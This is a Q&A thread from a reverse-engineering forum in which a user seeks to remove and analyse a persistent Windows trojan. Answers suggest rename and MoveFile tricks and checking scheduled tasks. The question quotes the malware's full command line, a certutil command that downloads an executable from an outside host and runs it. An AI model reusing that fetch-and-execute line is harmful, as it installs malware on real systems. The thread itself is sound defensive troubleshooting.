1

Every time I start my PC, Windows Defender shows a notification saying that the virus Trojan:Win32/Ceprolad.A was deleted, which means indeed that it wasn't, as most antivirus I've tried these days (Panda, Avast...)

The details of this thread are:

CmdLine: C:\Windows\System32\cmd.exe /C certutil.exe -urlcache -split -f http://tfortytimes.com/app/app.exe C:\Users\NMolinero\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\NMolinero\AppData\Local\Temp\csrss\scheduled.exe /31340

I'd like to find it and delete it, instead of just restoring my Windows OS to a previous point, so I was thinking to debug the code using IDA, Ollydbg... but I'm quite new on this, so I'm not sure how to get a sample of the malware to analyze it (I have a virtual machine for that) or if there is a better way to do it.

Any suggestions will be welcome!

2
  • 1
    Hi and welcome to RE.SE. This isn't exactly a reverse engineering question ... but I'll add an answer in an attempt to help you out.
    – 0xC0000022L
    Dec 9, 2019 at 9:44
  • Btw, I find it puzzling that the action Windows Defender takes doesn't really get rid of this thing. Windows Defender has both the service running with TCB privileges and a kernel mode driver which should be more than capable to intercept the malware and foil countermeasures that would typically prevent deletion of the malware.
    – 0xC0000022L
    Dec 9, 2019 at 10:17

2 Answers 2

3

I am assuming that the malware is already on your disk (not all malware hits the disk!). So keep that in mind when following this answer. If this is not the case, please provide more information.

On Windows many files that are in use and therefore cannot be deleted can be dealt in one of two ways:

  1. rename the file (the ren command on the command prompt should help)
  2. failing 1., a tool such as MoveFile can be used to tell the session manager (smss.exe) to move the file early during a boot

By renaming the file you can oftentimes ensure that next time an attempt is made to load the malware, it will fail. However, if there is some kind of dropper involved, attempting to download this malware time and time again, this may fail.

In such a case you can attempt a variation on the two above methods. You can create a directory of the same name as the malware file or conversely a file if this concerns a directory. So given the path C:\Users\NMolinero\AppData\Local\Temp\csrss\scheduled.exe you have two options:

  1. rename the C:\Users\NMolinero\AppData\Local\Temp\csrss to something else and then create a file with that same full path in its stead.
  2. rename the file C:\Users\NMolinero\AppData\Local\Temp\csrss\scheduled.exe and create a directory with that exact same full path in its stead (yes, a folder with the .exe file extension).

For the MoveFile method I am mentioning above, you may have to create a folder of some arbitrary name and use MoveFile to rename it to C:\Users\NMolinero\AppData\Local\Temp\csrss or C:\Users\NMolinero\AppData\Local\Temp\csrss\scheduled.exe respectively. That is, depending on the exact behavior you observe you may have to deviate slightly from the "overall" methods I am outlining.

In theory all of this can still fail. We can reasonably assume that the file paths you gave are the actual file paths of the malware entities, since they appear in the context of a command being executed. In general it would also be possible for a malware to camouflage itself by using a path or file name that is invalid in terms of the Win32 subsystem (see here). In this case you would have to use one of the alternative path notations (explained in the linked article) in order to escape the path conversion and "vetting" at the Win32 subsystem layer.

Failing all of the above you may want to pick up a recent live CD (Linux Mint, Ubuntu, whatever ...) with support for the NTFS file system (I have to assume once again here), in order to make the above mentioned modifications while your Windows system (and therefore the malware) lies dormant.

After you're done with these steps you should be able to extract the malware and perform whatever static analysis you want with whichever tool you prefer.


If MoveFile fails or you cannot use it for whatever reason, you could always attempt to schedule the move operation via the PendingFileRenameOperations registry value. But frankly if the malware prevents you from using something like MoveFile or the registry editor you may want to use the "offline" method I described as last resort.

3
  • thanks a lot for your answer, but I'm afraid that folder isn't in my system. I've tried the different formats suggested in the link, but can't find it. Also, I searched for the file "scheduled.exe" in my C:/ folder, and it's not there...I downloaded the app.exe in my virtual machine from the link in the commands and I saw it uses functions from Kernel32, User32 and ntdll.dll. However, I'm not sure how to continue.
    – Natiya
    Dec 10, 2019 at 12:26
  • @Natiya Did you make sure to configure Windows Explorer accordingly to show hidden items? Also, have you tried searching the volume while Windows was offline, from Linux for example. E.g. via find /path/to/windows/drivec -type f -iname scheduled.exe ...?
    – 0xC0000022L
    Dec 10, 2019 at 13:23
  • 1
    thanks a lot!! I have my system to show all hidden folders and files. I'm not sure how to do the search that you suggest. Anyway, I downloaded the file in my virtual machine and I can debug it because it's packed and all I see is assembler. Also, I have the feeling that the folder and the scheduled.exe are deleted after execution. This malware affects the browser by showing adds
    – Natiya
    Dec 10, 2019 at 22:31
1

Based on that command-line, I think that there's a scheduled task (or WMI entry) that is running periodically to download the file again, which is why it's not being removed. Defender might not be searching those locations without a full scan, for performance reasons.

1
  • 1
    Yes! Thanks to Ccleaner I saw in the startup services (in Windows startup services it isn't shown) those commands and found they are a scheduled task run everytime the user logs in. I'd like to write script to copy the folder crss when I log in before it gets deleted so I can see the malware before deleting that task. Do you think it's a good idea?
    – Natiya
    Dec 14, 2019 at 20:19

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.